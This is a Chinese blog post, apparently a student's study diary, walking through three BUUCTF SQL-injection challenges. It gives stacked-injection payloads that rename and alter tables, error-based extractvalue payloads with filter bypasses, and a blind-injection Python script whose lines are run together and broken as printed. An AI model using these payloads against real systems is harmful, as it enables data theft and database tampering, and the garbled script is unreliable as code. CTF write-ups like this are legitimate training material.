前段时间浅学了一下sql注入的基础,做了一些题目来巩固一下知识

目录

BUUCTF 随便注

show

堆叠注入

mysql中修改字段和表名

rename table和alter table

alter

BUUCTF[极客大挑战 2019]HardSQL

小结

BUUCTF[极客大挑战 2019]FinalSQL


BUUCTF 随便注

第一步,尝试采用联合注入,但是发现select被过滤了,不能采用联合注入了于是采用堆叠注入而且不能用select查询,我们用show代替

show

#显示mysql中所有数据库的名称
show databases;
#显示当前数据库中所有表的名称
show tables;
show tables from database_name;
#显示表中列名称
show columns from table_name from database_name;
show columns from database_name.table_name;

堆叠注入

在sql语句中分号代表一个语句的结束,我们可以采用多个;来拼接多条sql语句达到查询目标信息的作用

1';show tables;#
select * from where id='1';show tables; 

如上述语句就会输出id=1的信息和当前数据库的表名

第二步,查看当前的表和字段

1';show tables;#

发现有两个表,查看各表的字段

1'; show columns from `words`;#
1'; show columns from `1919810931114514`;#

发现在19810931114514表中存在flag(如图1),words表中有两个字段(如图3,4)一个是int,一个是char与查询的数据格式相同(如图2)大胆猜测输入框中查询的是words表,因此,我们想要得到flag可以将‘1919810931114514‘改为’words’借此得到flag

mysql中修改字段和表名

rename table和alter table

在mysql中可以用rename table和alter来修改表名,alter可以修改临时表但是rename不行同一数据库下表名不能重复

rename table old_table_name to new_table_name;
alter table old_table_name  rename to new_table_name; 

alter

#删除字段
alter table table_name drop column column_name;
#增加字段
alter table table_name add column column_name;
#修改字段的类型
alter table table_name change column column_name new_column 新属性;
#重命名列
alter table table_name change column old_column new_column 属性
#重命名表
alter table old_table_name rename to new_table_name

第三步修改表‘1919810931114514‘为’words’,修改flag字段为id,添加一个varchar类型的字段借此得到flag

1';rename table `words` to w;
rename table `1919810931114514` to `words`;
alter table words change column flag id varchar(100);
show tables;#

这里要注意上面的语句要一次性注入,因为查询的是words表,如是分开注入就找不到words表了,最后用万能密码得到flag

BUUCTF[极客大挑战 2019]HardSQL

第一步,尝试万能密码,发现被过滤了,猜测过滤了空格用/**/代替发现不可以,尝试用()代替空格发现可以注入而且有报错回显,于是猜测是报错注入过滤了空格

第二步采用报错注入,发现没有连接上,看了别的题解发现web用'^’连接函数

注入以下内容得到数据库名

username=admin&password=1'^extractvalue(1,concat(0x5c,(database())));%23

第三步,获取表名,发现过滤了‘=’,用‘like'代替得到表名

1'^extractvalue(1,concat(0x5c,(select(group_concat(table_name))from(information_schema.tables)where(table_schema)like(database()))));%23

第四步,获取字段名

1'^extractvalue(1,concat(0x5c,(select(group_concat(column_name))from(information_schema.columns)where(table_name)like('H4rDsq1'))));%23

第五步,获取flag发现只有一半,用right函数得到另外一半拼接得到flag

1'^extractvalue(1,concat(0x5c,(select(group_concat(password))from(H4rDsq1))));%23

1'^extractvalue(1,concat(0x5c,(select(right(password,20))from(H4rDsq1))));%23

小结

  1. ()代替空格
  2. like代替=
  3. ^连接函数
  4. right()函数获取部分flag

BUUCTF[极客大挑战 2019]FinalSQL

第一步,查找注入点,这题可能的注入点有两个,其中一个为账号密码登录,另一个是id

用bp进行fuzz测试发现注入点是/search.php?id=,并且发现^没有被过滤,可以用^进行盲注

第二步,尝试寻找注入成功的回显页面,已知1^1=0,0^0=0,1^0=1,当后面的语句返回为0时(错误)会出现当前页面‘Click';当后面的语句返回为1(正确)时会出现’ERROR'

所以我们可构造python脚本,本来是没有使用二分法,但是发现之前的方法会跳过一些字符所以借鉴了别的大佬的脚本

import string
import requestss=string.ascii_lowercase+string.digits+'{-,}'
url="http://bee5bb8f-43d5-488e-9af1-626a6428d6ac.node4.buuoj.cn:81/search.php?"
flag=""
i=0
while True:i+=1begin=32#从可打印字符开始end=126tmp=(begin+end) // 2print(i)while begin < end:#爆库名#id=1^(ascii(substr(database(),%d,1))>%d)#geek#爆表名#id=1^(ascii(substr((select(group_concat(table_name))from(information_schema.tables)where(table_schema='geek')),%d,1))>%d)#F1naI1y,Flaaaaag#爆字段名#id=1^(ascii(substr((select(group_concat(column_name))from(information_schema.columns)where(table_name='Flaaaaag')),%d,1))>%d)#id=1^(ascii(substr((select(group_concat(column_name))from(information_schema.columns)where(table_name='F1naI1y')),%d,1))>%d)#Flaaaaag:id,fl4gawsl F1naI1y:id,username,password#获取flag#id=1^(ascii(substr((select(group_concat(password))from(F1naI1y)where(username='flag')),%d,1))>%d)u=url+"id=1^(ascii(substr(database(),%d,1))>%d)" % (i,tmp)r=requests.get(u)if "ERROR" in r.text:#如正确,说明该字母大于tmpbegin=tmp+1tmp=(begin+end)//2else:end=tmptmp=(begin+end)//2flag += chr(tmp)print(flag)if begin == 32:#查找结束break

wmm的学习日记(sql注入练习)相关推荐

  1. 小白学习的sql注入

    小白学习的sql注入 一.sql注入漏洞原理 二.漏洞危害 三.sql注入分类 四.sql-labs靶场搭建 五.注入 六.注入流程 七.注入防范措施 八.辅助插件hackbar的安装 一.sql注入 ...

  2. Wmm的学习日记(SQL注入基础)

    这周听了一节三个半小时的网课,有关sql注入,消除了我对sql注入的"恐惧",也算是浅浅入了下门吧,虽然学会了点皮毛,但是还是成就感满满,哈哈哈,从0到0.001也是一件值得庆祝的 ...

  3. 《Web安全渗透全套教程(40集)》学习笔记 | SQL注入攻击及防御

    学习视频来源:B站<Web安全渗透全套教程(40集)> 个人在学习的同时,也验证了视频中的实验部分,现将授课笔记和实验笔记整理下来. SQL注入危害 SQL基础回顾 连接数据库 查看数据库 ...

  4. 小菜鸡的学习笔记——sql注入之sqli-lab边学边练

    结合sqli-lab靶场的sql注入学习笔记<持续更新> 第一关 Way1:字符型联合注入 Way2:报错型注入 第二关:get数值型联合注入 第三关:字符型闭合注入 第四关:字符型闭合注 ...

  5. CTF学习笔记——SQL注入

    SQL注入 sql注入的分类 1)可回显的注入 可以联合查询的注入 报错注入 通过注入进行DNS请求,从而达到可回显的目的 2)不可回显的注入 bool盲注 时间盲注 3)二次注入 通常作为一种业务逻 ...

  6. CTF学习笔记——sql注入(2)

    一.[SUCTF 2019]EasySQL 1.题目 2.解题步骤 看标题就知道是关于sql注入的题目.老规矩,先跑一下sqlmap,再用1' or 1=1 #试试. Nonono. 不死心再试一下别 ...

  7. wmm的学习日记(XSS跨站脚本漏洞)

    由于政策放开我们学校已经采取线上上课的教学方式,虽然现在已经在家了,但是学习还是要继续,休息了几天之后这两天学习了XSS跨站脚本攻击. 目录 XSS简介 反射型XSS 简介 常见注入点 DVWA(XS ...

  8. Web安全学习笔记——SQL注入

    一.MySQL注入 1. 常用信息查询 常用信息: 当前数据库名称:database() 当前用户:user() current_user() system_user() 当前数据库版本号:@@ver ...

  9. ctfshow刷题日记sql注入篇

    web 171 没有任何过滤那应该在这张表里面,直接用 1'or'1'='1即可拿到表单的所有信息 (也可以直接查询) web 172 添加了限制条件,上面的不能用了,还是单引号闭合,直接联合查询 最 ...

最新文章

  1. oracle solaris 内核 源码,Oracle和SUN Solaris内核参数
  2. 微信公众平台开发教程(九)微信公众平台通用开发框架
  3. CentOS 5.6 快速搭建LAMP
  4. 2 数据源配置_[Mybatis]-[基础支持层]-数据源信息-数据源详解
  5. 转 .net里如何判断中文字符长度
  6. java四大模块_Spring框架七大模块
  7. jQuery中find和filter的区别
  8. java生产者消费者同步模式
  9. 矩阵运算_如何理解矩阵对矩阵求导?
  10. uniapp - 接入科大讯飞语音评测
  11. linux脚本取消空格,Shell去除空格和空行的方法
  12. 在HTML中什么表示水平线,HTML中加入水平线的标签是( )
  13. QT 简单实现自定义标题栏
  14. 在canvas上实现3D效果
  15. ubuntu 安装eclipes
  16. ei拼音的四个声调对应的字_幼儿园学前班拼音教案:复习 ei 以及四声调
  17. Excel插入XactiveX提示出错“不能插入对象”解决
  18. 一个机械专业小混混(gooogleman)学习嵌入式ARM的真实经历
  19. mysql TIMESTAMP 不能为NULL
  20. uni-app App权限配置

热门文章

  1. 计算机用户丢失怎么找回,如何将电脑死机后的丢失数据恢复
  2. 基于Feign的远程服务调用
  3. 视频直播点播平台EasyDSS如何通过接口调用实现截取视频的功能?
  4. 【Java】动态模拟时钟
  5. Python-int()函数
  6. Java高铁的速度是火车的两倍_亚洲最大的三座高铁站, 全部都是特等站, 毫无疑问都在中国...
  7. IOS11 光标错位问题
  8. 【学习笔记】SNAT DNAT
  9. Lotus Notes登录后无法进入邮件,一直处于“正在加载,请稍候” 解决办法!!!
  10. 浏览器如何显示页面(二)